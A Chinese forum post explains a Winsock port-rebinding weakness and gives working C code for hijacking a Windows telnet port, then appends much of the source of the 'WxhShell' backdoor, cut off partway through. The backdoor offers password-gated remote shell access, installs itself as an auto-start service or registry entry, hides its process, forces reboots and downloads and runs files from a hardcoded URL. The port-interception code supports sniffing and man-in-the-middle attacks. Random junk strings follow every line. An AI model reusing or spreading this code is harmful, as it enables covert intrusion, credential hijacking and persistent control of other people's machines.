社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10153阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ih|;H:"^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P L7(0b%  
:GN++\ 1pw  
  saddr.sin_family = AF_INET; !}5f{,.RO  
MQQQaD:v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NEUr w/  
e^<'H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r$1b=m,0d  
4ClSl#X#i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C hQ] d  
nQOzKw<j%  
  这意味着什么?意味着可以进行如下的攻击: TI}a$I*  
MgP&9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 : ?}mu1  
d A'0'M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bq;GO  
d[{!^,%x"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  ZC%;5O`  
%Z+**>1J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PqIskv+  
bU/4KZ'-^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y^e3Gyk  
]%ewxF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  @M OaXe  
'`YZJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]WzeJ"r {3  
^9`|QF  
  #include joDqv,iW8  
  #include +!GJ  
  #include }$'XV.  
  #include    GKbbwT0T|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H+562W  
  int main() #sg*GK+|:R  
  { Yi]`"\  
  WORD wVersionRequested; 5A$,'%d  
  DWORD ret; s3T7M:DM4  
  WSADATA wsaData; k+%&dEE|vH  
  BOOL val; c|d,:u#  
  SOCKADDR_IN saddr; '7pzw>E=:  
  SOCKADDR_IN scaddr; RH:vd|q+  
  int err; <@# g2b  
  SOCKET s; Y]=k"]:%  
  SOCKET sc; "hQGk  
  int caddsize; cRMyYdJ o  
  HANDLE mt; q`'"+`h  
  DWORD tid;   t`'jr=e,~  
  wVersionRequested = MAKEWORD( 2, 2 ); LXWI'nxV  
  err = WSAStartup( wVersionRequested, &wsaData ); qco uZO  
  if ( err != 0 ) { %Oo f/q  
  printf("error!WSAStartup failed!\n"); \4LTViY]  
  return -1; Fg 8lX9L  
  } ^Vhl@  
  saddr.sin_family = AF_INET; CPL,QVO9  
   &S`g&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3A{)C_1a  
Zwz co  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x N7sFSV@  
  saddr.sin_port = htons(23); 0WfnX>(C7R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AN6Q~%,  
  { :\I*_00!  
  printf("error!socket failed!\n"); kt0xR)gU  
  return -1; :h |]j[2p  
  } |V4<eF-0S  
  val = TRUE; p!~1~q6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZDAW>H<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ).IyjHY  
  { vBJxhK-  
  printf("error!setsockopt failed!\n"); dC8}Ttc}  
  return -1; uO-|?{29  
  } ,[T/O\k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g~b$WV%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @ZjO#%Ep/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z:<an+v|5  
-)B_o#2=2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?G,gPb  
  { .j&#  
  ret=GetLastError(); =-_hq'il  
  printf("error!bind failed!\n"); Xz)qtDN|(  
  return -1; <5mv8'{L  
  } w3"L5;oH  
  listen(s,2); `Oi#`lC\  
  while(1) AC'_#nPL#  
  { ^a`3)WBv8  
  caddsize = sizeof(scaddr); V@T(%6<|  
  //接受连接请求 #qmsZHd}b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f>$RR_  
  if(sc!=INVALID_SOCKET) fN&uat7  
  { !4cY^4>o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^[r1Dk  
  if(mt==NULL) qrp@   
  { gC7Po  
  printf("Thread Creat Failed!\n"); _{; _wwz  
  break; 9P ACXW0  
  } tk*-Cx?_  
  } +t%2V?  
  CloseHandle(mt); ."=p\:^j*  
  } W7b m}JHn  
  closesocket(s); $2}#):`  
  WSACleanup(); p}h.2)PO  
  return 0; : \qapFV  
  }   \o/eF&  
  DWORD WINAPI ClientThread(LPVOID lpParam) x~R,rb   
  { I#M>b:"t e  
  SOCKET ss = (SOCKET)lpParam; 5-$D<}Z  
  SOCKET sc; b=1E87i@W  
  unsigned char buf[4096]; "g#%d  
  SOCKADDR_IN saddr; ^r.CUhx)  
  long num; p/RT*?<   
  DWORD val; OA=~ i/n~  
  DWORD ret; qljsoDG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2_)UHTwsK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ppNMXbXR  
  saddr.sin_family = AF_INET; NN=^4Xpc:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 23i2yT  
  saddr.sin_port = htons(23); GM'yOJo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) __Ksn^I   
  { TEY~E*=}$  
  printf("error!socket failed!\n"); hm d3W`8D  
  return -1; CYQ)'v  
  } G%: 3.:E"  
  val = 100; (YYg-@IO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GVJ||0D  
  { ;Su-Y!&%  
  ret = GetLastError(); ![_0GFbT  
  return -1; xQDQgvwa  
  } HnKgD:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {4,],0bjx/  
  { w(aHB8T  
  ret = GetLastError(); H!Q72tyo  
  return -1; d?J&mLQ6  
  } ;>jEeIlT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9$z$yGjl  
  { Vc;[0iB  
  printf("error!socket connect failed!\n"); Tn1V+)  
  closesocket(sc); ?#xm6oe#aH  
  closesocket(ss); &e:+;7  
  return -1; ^}p##7t [  
  } T:Nk9t$W7@  
  while(1) 1S!}su,uH  
  { WEe7\bWF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4F G0'J&hw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W"_<SYVJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [bP^RY:  
  num = recv(ss,buf,4096,0); eBnx$  
  if(num>0) pKy4***I3  
  send(sc,buf,num,0); 6(d6Uwc`  
  else if(num==0) 6Q [  
  break; >FwK_Zd'  
  num = recv(sc,buf,4096,0); o}114X4q;  
  if(num>0) QJ4$) Fr(  
  send(ss,buf,num,0); l7qW)<r  
  else if(num==0) 8\{z>y  
  break; dB[4NT  
  } (~zu4^9w  
  closesocket(ss); gAdqZJR%]  
  closesocket(sc); "W%YsN0  
  return 0 ; A| A#|D  
  } gh ?[x.U  
o4WQA"VxM  
/CNsGx%%  
========================================================== ?@$xLUHR4  
.cQO?UKK  
下边附上一个代码,,WXhSHELL 2I}pX9  
,7Hyrx`  
========================================================== <n]PD;.4  
94ruQ/  
#include "stdafx.h" iLuC_.'u=  
}8Y! -qX  
#include <stdio.h> 7GsKD=bl]  
#include <string.h> ~ W8X g)  
#include <windows.h> IoLi7NKw  
#include <winsock2.h> s__xBY  
#include <winsvc.h> "d$~}=a[  
#include <urlmon.h> ;un@E:  
z80P5^9  
#pragma comment (lib, "Ws2_32.lib") e !jy6 t  
#pragma comment (lib, "urlmon.lib") =b:XL#VA  
EwN{|34C  
#define MAX_USER   100 // 最大客户端连接数 MVzuE}  
#define BUF_SOCK   200 // sock buffer f1ANziC;i  
#define KEY_BUFF   255 // 输入 buffer GT<oYrjU  
d'ZNp2L  
#define REBOOT     0   // 重启 }`<&l  
#define SHUTDOWN   1   // 关机 F/5G~17  
D/."0 #q  
#define DEF_PORT   5000 // 监听端口 vnvpb! @Q  
z eT`kZ  
#define REG_LEN     16   // 注册表键长度 .A<Hk1(-)  
#define SVC_LEN     80   // NT服务名长度 t!qLgJ5%y  
%}9tU>?F#  
// 从dll定义API T{C;bf:Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3Vc}Q'&Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rV%T+!n%c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r3g^ 0|)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ia#!T"]@W6  
FHr)xqo=~  
// wxhshell配置信息 /o;L,mcx*  
struct WSCFG { js81@WX!c  
  int ws_port;         // 监听端口 H u;"TG  
  char ws_passstr[REG_LEN]; // 口令 G9Uc }z  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z\CvaX  
  char ws_regname[REG_LEN]; // 注册表键名 C LaQE{  
  char ws_svcname[REG_LEN]; // 服务名 JK =A=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r$={_M$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bLai@mL&a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e`qrafa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V'XEz;Ze  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qi`3$<W>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yn ~fnI{  
<@ .e.H  
}; gA(npsUHI  
[_)`G*X(N  
// default Wxhshell configuration 6AAvsu:  
struct WSCFG wscfg={DEF_PORT, ;b0Q%TDh  
    "xuhuanlingzhe", U~: H>  
    1, k=mQG~  
    "Wxhshell",  lrv-[}}  
    "Wxhshell", 0#J~@1Gf  
            "WxhShell Service", _ l`F}v  
    "Wrsky Windows CmdShell Service", OX;(Mg|  
    "Please Input Your Password: ", .pUB.l$)  
  1, rc8HZ  
  "http://www.wrsky.com/wxhshell.exe", @ar%`+_  
  "Wxhshell.exe" \ =hg^j  
    }; 7y|U!r"Y  
D j9aTO  
// 消息定义模块 (WT\HR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8/aJ4w[A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m| ,Tk:xH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zas&gsl-;  
char *msg_ws_ext="\n\rExit."; ]\xt[/?{  
char *msg_ws_end="\n\rQuit."; OCx'cSs-=  
char *msg_ws_boot="\n\rReboot..."; ]XEyG7D  
char *msg_ws_poff="\n\rShutdown..."; eVfD&&@  
char *msg_ws_down="\n\rSave to "; y]jx-w c3O  
L[2qCxB'^  
char *msg_ws_err="\n\rErr!"; =Q_1Mr4O  
char *msg_ws_ok="\n\rOK!"; @n)? =[p  
~JL qh  
char ExeFile[MAX_PATH]; MT>sRx #  
int nUser = 0; 3HrG^/  
HANDLE handles[MAX_USER]; 1 7~Pc  
int OsIsNt; C|&tdh :g  
2X2Ax~d@  
SERVICE_STATUS       serviceStatus; ;O hQBAC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |D)CAQn,  
$\P/ %eP  
// 函数声明 _R\FB|_  
int Install(void); ?C2(q6X+s  
int Uninstall(void); Wa^Wn +r  
int DownloadFile(char *sURL, SOCKET wsh); #'&-S@/nQs  
int Boot(int flag); -w"I  
void HideProc(void); W]D YfR,  
int GetOsVer(void); %>*?uO`z[  
int Wxhshell(SOCKET wsl); K:U=Y$x  
void TalkWithClient(void *cs); b;QgL_w  
int CmdShell(SOCKET sock); 8`*5[ L~~/  
int StartFromService(void); oT{9P?K8  
int StartWxhshell(LPSTR lpCmdLine); u* pQVU  
1 Gr^,Ry  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -KGJr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F `:Q  
bra2xHK@  
// 数据结构和表定义 wMCMrv:  
SERVICE_TABLE_ENTRY DispatchTable[] = t`JT  
{ @:zC!dR)G  
{wscfg.ws_svcname, NTServiceMain}, s1_Y~<y X  
{NULL, NULL} $JOz7j(  
}; bDvGFSAH  
j>JBZ#g  
// 自我安装 E^rBs2;9  
int Install(void) i 7]o[  
{ AJ/Hw>>$?m  
  char svExeFile[MAX_PATH]; w@-G_-6W  
  HKEY key; @JlT*:Dz  
  strcpy(svExeFile,ExeFile); %h ;oi/pe  
^N<aHFF  
// 如果是win9x系统,修改注册表设为自启动 r !!uA1!7  
if(!OsIsNt) { 7%"|6dw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fh =R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .$-;`&0cZ  
  RegCloseKey(key); D/=05E%[81  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k$%{w\?Jf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #eKKH]J/  
  RegCloseKey(key); ]#M"|iTR  
  return 0; e2=}qE7  
    } F4\:9ws  
  } ']2Vf] dB  
} Bdh*[S\u@E  
else { -4QZ/*  
)$^xbC#j`3  
// 如果是NT以上系统,安装为系统服务 3/vtx9D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %t&Lq }e  
if (schSCManager!=0) h{mzYy} b  
{ PNAvT$0LaZ  
  SC_HANDLE schService = CreateService rmw}Ui"  
  ( qOG@MR(5  
  schSCManager, ByjfPb#  
  wscfg.ws_svcname, 15{^waR6  
  wscfg.ws_svcdisp, 9mvy+XD  
  SERVICE_ALL_ACCESS, jW#dUKS(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i%133in  
  SERVICE_AUTO_START, Tr;.%/4Q  
  SERVICE_ERROR_NORMAL, "-S!^h/v  
  svExeFile, M %zf?>])  
  NULL, +iN!$zF5]  
  NULL, 2+pw%#fe  
  NULL, )b nGZ8h99  
  NULL, <IR@/b!,  
  NULL qsp3G7\'=  
  ); ;fqp!|J  
  if (schService!=0) LF.i0^#J  
  { X#axCDM-  
  CloseServiceHandle(schService); EO+Ix7w  
  CloseServiceHandle(schSCManager); TQeIAy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %rs2{Q2k  
  strcat(svExeFile,wscfg.ws_svcname); uvl91~&G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @GAj%MK$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;L87 %P(.  
  RegCloseKey(key); 5L6.7}B  
  return 0; $!G|+OuTR  
    } 1N _"Mm{  
  } [uqr  
  CloseServiceHandle(schSCManager); Q']'KU.  
} E7h@c>IK  
} 7V=deYt_p  
h(q4 B~  
return 1; lg-`zV3  
} 1<x5{/CZ  
wa[J\lW  
// 自我卸载 iU.` TqR7  
int Uninstall(void) EM<W+YU  
{ X ([^i;mr  
  HKEY key; \t{4pobo  
A["6dbvv  
if(!OsIsNt) { GAH<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uu4! e{K  
  RegDeleteValue(key,wscfg.ws_regname); |qpm  
  RegCloseKey(key); @I Y<i5(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Flpl,|n a  
  RegDeleteValue(key,wscfg.ws_regname); 2FL_!;p;2E  
  RegCloseKey(key); 1;./e&%%  
  return 0; 5D3&E_S  
  } vyc<RjS_x  
} d<?Zaehe\  
} ++w{)Io Z  
else { ~+ae68{p  
 U'b}%[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \zVp8MMf  
if (schSCManager!=0) eiOAbO#U  
{ z1RHdu0;z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )e[q% %ks  
  if (schService!=0) _j$V[=kdM/  
  { X%!?\3S  
  if(DeleteService(schService)!=0) { ?>=vKU5  
  CloseServiceHandle(schService); OvdBUcp[  
  CloseServiceHandle(schSCManager); +:#g6(P]  
  return 0; BB,-HhYT0  
  } ,EH-Sf2Cb  
  CloseServiceHandle(schService); Mf"(P.GIS  
  } =S^vIo)  
  CloseServiceHandle(schSCManager); MAqETjB  
} 1jSmTI d  
} jz'%(6#'gW  
]Gm&Kn >  
return 1; [PrJf"Z "  
} LfnQcI$kO  
/;TD n>lq  
// 从指定url下载文件 %LdBO1D0  
int DownloadFile(char *sURL, SOCKET wsh) VKXB)-'L  
{ L(y~ ,Kc  
  HRESULT hr;  r+]a  
char seps[]= "/"; Qc9[/4R>  
char *token; mV7_O//  
char *file; |[V6R\l39  
char myURL[MAX_PATH]; wc6#C>=F  
char myFILE[MAX_PATH]; muK)Y w[#N  
UWCm:eRQ  
strcpy(myURL,sURL); *}r6V"pH~  
  token=strtok(myURL,seps); 5U_ar   
  while(token!=NULL)  M+=q"#&  
  { ' z^v}~  
    file=token; ,=ju^_^sA  
  token=strtok(NULL,seps); Odt<WG  
  } ]~m=b` o  
m&*0<N  
GetCurrentDirectory(MAX_PATH,myFILE); UBwYwm0  
strcat(myFILE, "\\"); 3wgZDF38  
strcat(myFILE, file); T2T?)_f /  
  send(wsh,myFILE,strlen(myFILE),0); W.7u6F`  
send(wsh,"...",3,0); h 1j1PRE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u7wZPIC{_  
  if(hr==S_OK) } F*=+n  
return 0; IxlPpS9Wx  
else huin?,eGz  
return 1; 2JHF*zvO-  
Y^?PHz'Go  
} HRd02tah  
:OaGdL   
// 系统电源模块 ]_ y;Igaj  
int Boot(int flag) &M\qVL%w  
{ Wu?[1L:x  
  HANDLE hToken; h=cA]^:=  
  TOKEN_PRIVILEGES tkp; a'G[ !"  
K8iQ?  
  if(OsIsNt) { d/?0xLW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K!88 Nox(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WdrMp  
    tkp.PrivilegeCount = 1; B8-Y)u1G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MIv,$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2IDn4<`  
if(flag==REBOOT) { P_N},Xry  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \cAifU  
  return 0; ,+g0#8?p^x  
} #4sSt-s&  
else { }Oy/F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >F!X'#Iv  
  return 0; ~;uW) [  
} 0c#|LF_  
  } m`3gNox  
  else { <,'^dR7,  
if(flag==REBOOT) { `MMZR=LA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <daBP[  
  return 0; sr.!EQ]  
} Eid~4a  
else { >3ASrM+>w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |VX0o2  
  return 0; h3-dJgb  
} s[/)v:  
} /%^^hr  
3D rW[\  
return 1; yH@2nAn  
}  ~\+m o  
'P >h2^z  
// win9x进程隐藏模块 O%s?64^U  
void HideProc(void) cy_zEJjbD  
{ ^t)alNGos  
fPsUIlI/A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CY.i0  
  if ( hKernel != NULL ) v/C*?/ ~  
  { ^$\#aTyFK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {[FJkP2l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H h;o<N>U  
    FreeLibrary(hKernel); }KL( -Ui$  
  } yCye3z.  
ZltY_5l  
return; ~D Ta% J  
} {&Sr<d5  
8J#TP7;  
// 获取操作系统版本 H Ff9^  
int GetOsVer(void) ![@\p5-e  
{ FkIT/H  
  OSVERSIONINFO winfo;  AQz&u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X=b]Whuv  
  GetVersionEx(&winfo); rexy*Xv`2p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GI*2*m!u  
  return 1; h]okY49hY  
  else V_7QWIdiy>  
  return 0; vJ!<7 l&  
} *Ry "`"  
5},kXXN{+  
// 客户端句柄模块 $P~Tt4068  
int Wxhshell(SOCKET wsl) 3MFb\s&Fq  
{ S QVyCxcX_  
  SOCKET wsh;  'x\{sv  
  struct sockaddr_in client; -qndBS  
  DWORD myID; syLpnNx=  
E?P:!V=_  
  while(nUser<MAX_USER) R a?0jcSQ$  
{ <</ Le%  
  int nSize=sizeof(client); qc`UDD5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3P2L phW  
  if(wsh==INVALID_SOCKET) return 1; g JMv  
VYN1^Tp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e$@azi1  
if(handles[nUser]==0) t12 xPtN1  
  closesocket(wsh); 4wQ>HrS)(  
else Gj([S17\0:  
  nUser++; CpF&Vy K  
  } S~LT Lv:>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |G]M"3^  
s;-%Dfn  
  return 0; \?.Tq24  
} @#5PPXp  
u~a@:D/F{G  
// 关闭 socket VN9C@ ;'$  
void CloseIt(SOCKET wsh) /SZg34%  
{ 'xY@ I`x  
closesocket(wsh); s\dF7/b  
nUser--; ; X3bgA']  
ExitThread(0); J~vK`+Zs  
} !>5!Fb=Sy  
 Enj],I  
// 客户端请求句柄 )D q/fW  
void TalkWithClient(void *cs) :.M"M$MRp8  
{ KUqD<Jj?  
HN tl>H  
  SOCKET wsh=(SOCKET)cs; ?rn#S8nNx<  
  char pwd[SVC_LEN]; y7CrH=^jc  
  char cmd[KEY_BUFF]; }PDNW  
char chr[1]; 0if~qGm=!  
int i,j; C|A:^6d3=  
_~E&?zR2>"  
  while (nUser < MAX_USER) { w oSI 2i  
PH}^RR{H[  
if(wscfg.ws_passstr) { ;MR(Eaep  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OjiQBsgnj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \!4sd2Yi  
  //ZeroMemory(pwd,KEY_BUFF); %v(\;&@  
      i=0; 4^O'K;$leD  
  while(i<SVC_LEN) { xc+h Fx  
F$Q@UVA  
  // 设置超时 U0:tE>3`  
  fd_set FdRead; 2x7%6'  
  struct timeval TimeOut; B3^4,'  
  FD_ZERO(&FdRead); ES#K'Lf  
  FD_SET(wsh,&FdRead); }TCOm_Y/qL  
  TimeOut.tv_sec=8; E|Lv_4lb=  
  TimeOut.tv_usec=0; %r*zd0*<n1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c|'hs   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }~RH!Q1  
,4wZ/r> d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dab1^H!KT  
  pwd=chr[0]; =K)au$BE|  
  if(chr[0]==0xd || chr[0]==0xa) { GUyc1{6  
  pwd=0; vK?{Z^J][  
  break; 'J`%[,@V  
  } `_;VD?")*l  
  i++; *?`:=  
    } Nz&J&\X)tD  
yU(k;A-  
  // 如果是非法用户,关闭 socket YrR}55V,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uv06f+P(  
} @edi6b1W  
>#RXYDd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [yF4_UoF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e ga< {t  
:hp=>^$Y  
while(1) { sGCV um}  
WBA0! g98  
  ZeroMemory(cmd,KEY_BUFF); F:CqB|  
In)#`E` g.  
      // 自动支持客户端 telnet标准   &OiJJl[9  
  j=0; l }?'U  
  while(j<KEY_BUFF) { UUx0#D/U0C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,z?Re)q m  
  cmd[j]=chr[0]; 'lU9*e9  
  if(chr[0]==0xa || chr[0]==0xd) { @,-xaZ[  
  cmd[j]=0; !=.5$/  
  break; k.DDfuKN  
  } uSs~P%@6|  
  j++; QMzBx*g(  
    } c4R6E~S  
^AUmIyf_  
  // 下载文件 [Uezi1I  
  if(strstr(cmd,"http://")) { PF1m :Iz`d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {}ZQK  
  if(DownloadFile(cmd,wsh)) m.MOn3n]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X }yEMe{T  
  else XY5I5H_U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nJYcC"f  
  } rBP!RSl1  
  else { 7 3k3(rZ  
Nd&u*&S  
    switch(cmd[0]) { kg$<^:uX  
  ~h;c3#wuc  
  // 帮助 7:1c5F~M  
  case '?': { EY(@R2~#J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e/WR\B'1  
    break; J*8fGR%  
  } WZ'3  
  // 安装 $+sNjwv^F  
  case 'i': { IN!m  
    if(Install()) ,2)LH 'Xx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EM*YN=So  
    else m?_S&/+*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o_<o8!]l"  
    break; #Vanw!  
    } aIk%$Mat  
  // 卸载 YSt']  
  case 'r': { //W<\  
    if(Uninstall()) (i7]N[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;""V s6  
    else v"L<{HN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ni$ (`"  
    break; Jjz:-Uqq2  
    } "qb3\0O  
  // 显示 wxhshell 所在路径 xv9Z~JwH  
  case 'p': { Xb42R1  
    char svExeFile[MAX_PATH]; abtAkf  
    strcpy(svExeFile,"\n\r"); j]6j!.1  
      strcat(svExeFile,ExeFile); ocy fU=}X  
        send(wsh,svExeFile,strlen(svExeFile),0); ~l-Q0wg  
    break; "}|n;:r  
    } Hq^sU%  
  // 重启 >U9*  
  case 'b': { iwL\Ha  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y*0%l q({H  
    if(Boot(REBOOT)) {3C~cK{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qU#Gz7/  
    else { q[l},nw  
